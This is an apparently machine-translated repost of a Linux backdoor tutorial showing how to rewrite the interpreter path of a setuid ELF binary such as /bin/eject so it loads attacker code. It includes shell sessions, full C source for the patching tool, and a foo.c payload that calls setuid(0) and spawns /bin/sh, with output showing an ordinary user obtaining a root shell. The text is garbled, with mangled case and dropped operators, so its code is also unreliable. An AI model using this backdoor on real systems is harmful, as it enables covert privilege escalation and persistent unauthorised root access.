ELF-WRITE tool writes interpreter back door

xiaoxiao2021-03-06  67

Abfrag.bin Trojan crack

* NIX reverse engineering, ELF encryption, viral information

Back door technology

Hide Module - OLD

Hide 2.6 kernel module

Say Bye 2 UR Printk

INJECTSO SOURCE

Module_Auto_Unload, Anti-Forensic Part 1

Write Interpreter Segment Backdoor with ELF-WRITE Tools (ELF Interpreter Segment Backdoor)

Back door discovery technology

Finding Hidden Kernel Modules on Linux

Finding Hidden Modules on 2.6 kernel_module_hunter

Find Socket - Extreme Way

UNIX / Linux virus technology research

Gei - ELF Infector v0.0.1

The so-called Interpreter is a way to perform the back door code trigger by changing the interpreter segment of the ELF file.

In the following I gave a demonstration of this technology, a program for modifying the ELF file (currently only two small features) as auxiliary tool.

In general, this technical difficulty is not high, but it has some own characteristics, these features I have not described in the example below, but you can

Discover your own thinking; p

1. Compile I later provided to get a gadget Gew and an example program foo

-----------------------------------

Grip2 @ Linux: ~ / tmp / ELF-WRITE> LS

.. foo.c g-Elf-write.c makefile

Grip2 @ linux: ~ / tmp / ELF-WRITE> MAKE

GCC foo.c -o foo -static

GCC -O2 G-ELF-WRITE.C -O Gew -wall

Grip2 @ Linux: ~ / tmp / ELF-WRITE> LS

.. foo foo.c g-Elf-write.c Gew makefile

Grip2 @ Linux: ~ / TMP / ELF-WRITE> LS GEW FOO -L

-RWXR-XR-X 1 Grip2 Users 2201192 2004-11-24 05:52 foo

-RWXR-XR-X 1 Grip2 User $ 11755 2004-11-24 05:52 GEW

2. Select a setuid program used to pop up Interpreter (if you don't worry, you can do backup first)

-----------------------------------

Linux: ~ / tmp / Elf-write # find / -perm -4000 -print

...

/ usr / bin / chsh

/ usr / bin / express

/ usr / bin / gpasswd

/ usr / bin / newgrp

/ usr / bin / passwd

/ usr / bin / gpg

/ usr / bin / at

/ bin / eject

/ bin / ping

/ bin / ping6

/ bin / su

/ bin / mount

/ bin / umount

...

Linux: ~ / tmp / ELF-WRITE # ls -l / bin / eject

-RWSR-XR-x 1 Root Audio 22630 2004-04-06 09:19 / Bin / Eject

3 Use the GEW tool to modify the interpreter of the selected setuid program so that it points to our FOO program.

-----------------------------------

Linux: ~ / tmp / Elf-write # ./gew

Uid: 0 EUID 0

Gew - Elf Write v0.0.1 Written by Grip2 usage: ./gew [-i new_interp] [- e new_entry] ELF-File

Linux: ~ / tmp / elf-write # ./gew -i / home / grip2 / tmp / ELF-WRITE / FOO / BIN / EJECT

Uid: 0 EUID 0

Better Luck Next File :-P <- Here, the new Interpreter path we specified is long.

(Because if the new Interpreter has more than the existing segment length,

To take effect, adjust the size of the target file, and this is what we don't want to see

So therefore made limited)

Linux: ~ / tmp / elf-write # ./gew -i / home / grip2 / foo / bin / eject

Uid: 0 EUID 0

Linux: ~ / tmp / elf-write # strings / bin / eject | grep foo

/ home / grip2 / foo <- ok, this success

4 Copy foo to the new Interpreter path we give above

-----------------------------------

Linux: ~ / tmp / elf-write # su - grip2

Grip2 @ Linux: ~> ID

UID = 716 (GRIP2) GID = 100 (users) Groups = 14 (UUCP), 16 (Dialout), 17 (Audio), 33 (Video), 100 (users)

Grip2 @ linux: ~> PWD

/ home / grip2

Grip2 @ Linux: ~> CP TMP / ELF-WRITE / FOO.

Grip2 @ Linux: ~> ll foo

-RWXR-XR-X 1 Grip2 Users 2201192 2004-11-24 06:04 foo

5 Run our modified setuid programs as ordinary users, here is EJECT to see the effect.

-----------------------------------

Grip2 @ Linux: ~> Eject

SH-2.05B # PWD

/ home / grip2

SH-2.05B # id <- We are already root

UID = 0 (root) GID = 100 (Users) Groups = 14 (UUCP), 16 (Dialout), 17 (AUDIO), 33 (Video), 100 (Users)

SH-2.05B # EXIT

Grip2 @ linux: ~>

Note: Some situations you may need to process your foo, you need to re-specify the foo program for Interpreter

Entrance point, then you can use the second feature of GEW (if you haven't encountered this now, you don't need to see the content here)

-----------------------------------

Grip2 @ Linux: ~> Objdump -d foo | grep main

804815C: E8 1F 01 00 00 Call 8048280 <__ libc_start_main>

...

08048244

::

...

08048280 <__ libc_start_main>:

804829F: 74 0F JE 80482B0 <__ libc_start_main 0x30>

80482d7: 75 F7 JNE 80482D0 <__ libc_start_main 0x50> 80482E7: 0F 85 BD 00 00 00 JNE 80483AA <__ libc_start_main 0x12a>

8048306: 0F 85 33 01 00 00 JNE 804843F <__ libc_start_main 0x1bf>

804832b: 77 5f ja 804838c <__ libc_start_main 0x10c>

8048346: 77 28 JA 8048370 <__ libc_start_main 0xf0>

804836e: 76 E0 JBE 8048350 <__ libc_start_main 0xD0>

804837A: 75 0B JNE 8048387 <__ libc_start_main 0x107>

8048385: 76 A9 JBE 8048330 <__ libc_start_main 0xB0>

804838A: 7F 0C JG 8048398 <__ libc_start_main 0x118>

804839E: 0F 86 0D 01 00 00 JBE 80484B1 <__ libc_start_main 0x231>

80483B4: 74 17 JE 80483CD <__ libc_start_main 0x14d>

80483ed: 74 17 JE 8048406 <__ libc_start_main 0x186>

804840e: 0F 85 93 00 00 JNE 80484A7 <__ libc_start_main 0x227>

8048419: 74 03 JE 804841E <__ libc_start_main 0x19e>

8048456: 74 21 JE 8048479 <__ libc_start_main 0x1f9>

8048477: 7F 0C JG 8048485 <__ libc_start_main 0x205>

80484A2: E9 71 Fe FF FF JMP 8048318 <__ libc_start_main 0x98>

80484ac: E9 63 FF FF FF JMP 8048414 <__ libc_start_main 0x194>

80484B8: EB C6 JMP 8048480 <__ libc_start_main 0x200>

80502F3: E8 C8 0F 00 00 Call 80512c0 <_nl_load_domain>

80504AE: E8 AD 0A 00 00 Call 8050f60 <_nl_free_domain_conv>

80504BB: E8 70 0B 00 00 Call 8051030 <_nl_init_domain_conv>

8050B2F: E8 0C 02 00 00 Call 8050d40 <_nl_find_domain>

...

...

080A30A8 <_dl_main_searchlist>:

080A3100 <_nl_current_default_domain>:

080A53E0 :

080A5904 <_nl_loaded_domains>:

080a5d20 <_nl_domain_bindings>:

Grip2 @ Linux: ~> ./gew -e 0x08048244 fouch: 716 EUID 716

Grip2 @ Linux: ~> Readelf -L foo

ELF File Type IS Exec (Executable file)

Entry point 0x8048244

There Are 5 Program Headers, Starting At Offset 52

Program Headers:

Type Offset Virtdr Physaddr FileSiz Memsiz Flg Align

LOAD 0x000000 0x08048000 0x08048000 0x5aa78 0x5aa78 r e 0x1000

LOAD 0x05B000 0x080A3000 0x080A3000 0x01b7c 0x02e40 rw 0x1000

Note 0x0000d4 0x080480d4 0x080480d4 0x00020 0x00020 R 0x4

Note 0x0000f4 0x080480f4 0x080480f4 0x00018 0x00018 r 0x4

Stack 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4

Section to segment mapping:

Segment Sections ...

00 .init .text __libc_freeres_fn .fini .rodata __libc_subfreeres .gnu.linkonce.ro .__ strtol_ul_rem_tab .gnu.linkonce.ro .__ strtol_ul_max_tab __libc_atexit .gnu.linkonce.ro .__ strtol_ull_rem_tab .gnu.linkonce.ro .__ strtol_ull_max_tab .note.ABI-tag .note.suse

01 .data .eh_frame .ctors .dtors .jcr .got .bss __libc_freeres_ptrs

02.note.abi-tag

03.note.suse

04

/ *

* Gew - ELF WRITE V0.0.1

* Written by Grip2

* /

#include

#include

#include

#include

#include

#include

#include

#include

Void usage (char * argv [])

{

FPRINTF (stderr,

"GEW - ELF WRITE V0.0.1 Written By Grip2 / n");

FPRINTF (stderr, "usage:% s [-i new_interp]"

"[-e new_entry] Elf-file / n",

Argv [0]);

Exit (1);

}

Int main (int Argc, char * argv [])

{

INT fd = -1;

ELF32_EHDR * EHDR = NULL;

ELF32_PHDR * PHDR;

ELF32_SHDR * SHDR;

INT I;

Struct stat stat;

int CH;

Char * pchar;

CHAR OPT_READ = 1, OPT_ENTRY = 0, OPT_INTERP = 0; Char FileName [64];

Char new_interp [256];

Unsigned long new_entry = 0;

INT EUID = geteuid ();

SetUID (GetUID ());

SetUID (EUID);

Printf ("UID:% D EUID% D / N", getuid (), getEuid ());

While ((CH = Getopt (Argc, Argv, "E: i:")))! = -1) {/ * get option * /

Switch (ch) {

Case 'E':

New_ENTRY = STRTOUL (Optarg, & Pchar, 16);

IF (* pchar! = '/ 0')

USAGE (Argv);

OPT_ENTRY = 1;

OPT_READ = 0;

Break;

Case 'I':

NEW_INTERP [SIZEOF (new_interp) -1] = 0;

STRNCPY (new_interp, optarg, sizeof (new_interp));

IF (new_interp [limitedof (new_interp) -1]! = 0)

USAGE (Argv);

OPT_INTERP = 1;

OPT_READ = 0;

Break;

Case '?':

DEFAULT:

Break;

}

}

IF (Argv [Optind] == NULL)

USAGE (Argv);

STRCPY (filename, argv [optind]);

FD = Open (filename, o_rdwr);

IF (fd == -1) {

PERROR (Argv [1]);

Goto ERR;

}

IF (FSTAT (FD, & Stat) == -1) {

PERROR ("fstat");

Goto ERR;

}

EHDR = MMAP (0, stat.st_size, prot_write | prot_read, map_shared, fd, 0);

IF (EHDR == Map_failed) {

PERROR ("MMAP EHDR");

Goto ERR;

}

/ * Check Elf Magic-Ident * /

IF (EHDR-> E_IDENT [EI_MAG0]! = 0x7f

|| EHDR-> E_IDENT [EI_MAG1]! = 'E'

|| EHDR-> E_IDENT [EI_MAG2]! = 'L'

|| EHDR-> E_IDENT [EI_MAG3]! = 'f'

|| EHDR-> E_IDENT [EI_CLASS]! = Elfclass32

|| EHDR-> E_IDENT [EI_DATA]! = ElfData2lsb

|| EHDR-> E_IDENT [EI_VERSION]! = EV_CURRENT

|| EHDR-> E_TYPE! = ET_EXEC

|| EHDR-> E_MACHINE! = EM_386

|| EHDR-> E_VERSION! = EV_CURRENT

) {

FPRINTF (stderr, "file type not supported / n");

Goto ERR;

}

PHDR = (ELF32_PHDR *) ((unsigned long) EHDR EHDR-> E_PHOFF);

SHDR = (ELF32_SHDR *) (UNSIGNED Long) EHDR EHDR-> E_SHOFF);

i = 0;

IF (OPT_READ || OPT_INTERP) While (1) {

IF (i == EHDR-> E_PHNUM) {

FPRINTF (stderr, "interpreter not found./n");

IF (OPT_READ)

Break;

Goto ERR;

}

IF (phDR [i] .p_type! = pt_interp) {

i ;

CONTINUE;

}

IF (OPT_INTERP) {

IF (PHDR [i] .p_filesz <= strlen (new_interp)) {

FPRINTF (stderr, "better luck next file: -p / n");

Goto ERR;

}

Strncpy (void *) EHDR PHDR [i] .p_offset,

New_INTERP, PHDR [I] .p_filesz);

} else if (OPT_READ) {

Printf ("CURRENT Interpreter:% S / N",

(char *) EHDR PHDR [I] .p_offset;

}

Break;

}

IF (OPT_ENTRY)

EHDR-> E_ENTRY = New_ENTRY;

Else if (OPT_READ)

Printf ("current entry: p / n", (void *) EHDR-> E_ENTRY);

MunMap (EHDR, STAT.ST_SIZE);

Close (FD);

Return 0;

Err:

IF (EHDR)

MunMap (EHDR, STAT.ST_SIZE);

IF (fd! = -1)

Close (FD);

Return 1;

}

FOO.C

int main ()

{

SetUID (0);

SYSTEM ("/ bin / sh");

Return 0;

}

Makefile

All: foo gew

GEW: G-ELF-WRITE.C

GCC -O2 $ <-O $ @ -wall

Foo: foo.c

GCC $ @ -static

Clean:

Rm * .o -rf

Rm foo -rf

RM Gew -RF

转载请注明原文地址:https://www.9cbs.com/read-87029.html

New Post(0)